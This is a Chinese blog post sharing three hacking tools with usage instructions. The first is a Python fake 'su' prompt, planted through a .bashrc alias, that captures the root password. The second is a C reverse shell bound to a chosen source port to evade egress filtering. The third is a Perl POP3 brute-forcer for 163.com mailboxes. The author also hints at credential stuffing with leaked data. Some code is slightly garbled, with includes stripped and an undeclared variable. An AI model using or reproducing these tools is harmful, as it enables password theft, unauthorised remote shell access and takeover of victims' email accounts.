python入侵监控系统_入侵渗透专用的python小脚本

本文介绍了在渗透测试过程中,由于现成工具的局限性,作者自行编写了三个实用程序。第一个是用于记录root密码的小脚本,通过修改低权限用户的.bashrc文件实现密码捕获。第二个是针对特定网络限制的源端口反弹shell程序,能够以指定源端口发起连接。第三个是邮箱爆破脚本,结合用户名和密码字典尝试登录多个邮箱。这些自创工具展示了在渗透测试中灵活应对和解决问题的能力。
摘要由CSDN通过智能技术生成

渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用。

wKiom1NV022R9qJXAABHAu-hyvQ095.jpg

一、记录root密码小工具

root.py

#!/usr/bin/python

import os, sys, getpass, time

current_time = time.strftime("%Y-%m-%d %H:%M")

logfile="/dev/shm/.su.log" //密码获取后记录在这里

#CentOS

#fail_str = "su: incorrect password"

#Ubuntu

#fail_str = "su: Authentication failure"

#For Linux Korea //centos,ubuntu,korea 切换root用户失败提示不一样

fail_str = "su: incorrect password"

try:

passwd = getpass.getpass(prompt='Password: ');

file=open(logfile,'a')

file.write("[%s]t%s"%(passwd, current_time)) //截取root密码

file.write('n')

file.close()

except:

pass

time.sleep(1)

print fail_str //打印切换root失败提示

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

二、设置源端口反弹shell

渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,Ping了下百度,可以ping通。那真相只有一个,服务器变态的限制了只能某些提供已某些端口为源端口去连接外面。

比如:只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

谷歌程序无果,自己查了相关api后写了个。

client-port.c

#include

#include

#include

#include

#include

void error(char *msg)

{

perror(msg);

exit(0);

}

int main(int argc, char *argv[])

{

int sockfd, portno, lportno,n;

struct sockaddr_in serv_addr;

struct sockaddr_in client_addr;

struct hostent *server;

char buffer[256];

if (argc < 3) {

fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);

exit(0);

} //三个参数,目标主机,目标主机端口,本地源端口

portno = atoi(argv[2]);

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0)

error("ERROR opening socket");

bzero((char *) &client_addr, sizeof(client_addr));

lportno = atoi(argv[3]);

client_addr.sin_family = AF_INET;

client_addr.sin_addr.s_addr = INADDR_ANY;

client_addr.sin_port = htons(lportno); //设置源端口

if (bind(sockfd, (struct sockaddr *) &client_addr,

sizeof(client_addr)) < 0)

error("ERROR on binding");

server = gethostbyname(argv[1]);

if (server == NULL) {

fprintf(stderr,"ERROR, no such host ");

exit(0);

}

bzero((char *) &serv_addr, sizeof(serv_addr));

serv_addr.sin_family = AF_INET;

bcopy((char *)server->h_addr,

(char *)&serv_addr.sin_addr.s_addr,

server->h_length);

serv_addr.sin_port = htons(portno);

if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) //连接

error("ERROR connecting");

dup2(fd, 0);

dup2(fd, 1);

dup2(fd, 2);

execl("/bin/sh","sh -i", NULL); //执行shell

close(fd);

}

用法:

gcc client-port.c -o port

chmod +x port

./port 你的IP 你的监听端口 本地的源端口

如 ./port http://www.91ri.org 80 80

成功反弹shell 提权成功

三、邮箱爆破脚本

某个时候,需要爆破一批邮箱。

Burp163.pl

#!/usr/bin/perl

use Net::POP3;

$email="pop.163.com"; //设置pop服务器地址 qq为pop.qq.com

$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");

print $pop->banner();

$pop->quit;

$i=0;

open(fp1,"user.txt");

@array1=;

open(fp2,"pass.txt");

@array2=; //从文件中获取邮箱用户名及密码

foreach $a(@array1) {

$u=substr($a,0,length($a)-1);

$u=$u."@163.com";

foreach $b(@array2) {

$p=substr($b,0,length($b)-1);

print "cracked with ".$u."-----".$p."n";

$i=$i+1;

$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");

$m=$pop->login($u,$p); //尝试登录邮箱

if($m>0)

{

print $u."------------".$p."----"."success"."n";

$pop->quit;

} //成功登录

else

{

print $u."------------".$p."----"."failed"."n";

$pop->quit; //登录失败

}

}

}

print $i;

用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

$email="pop.163.com";

再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说:这个有点鸡肋吧?万一邮箱的密码很复杂。

呵呵。

搞到了一个小站的数据,用这个程序批量测试密码是否就是邮箱密码。

呵呵,我啥都没说。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值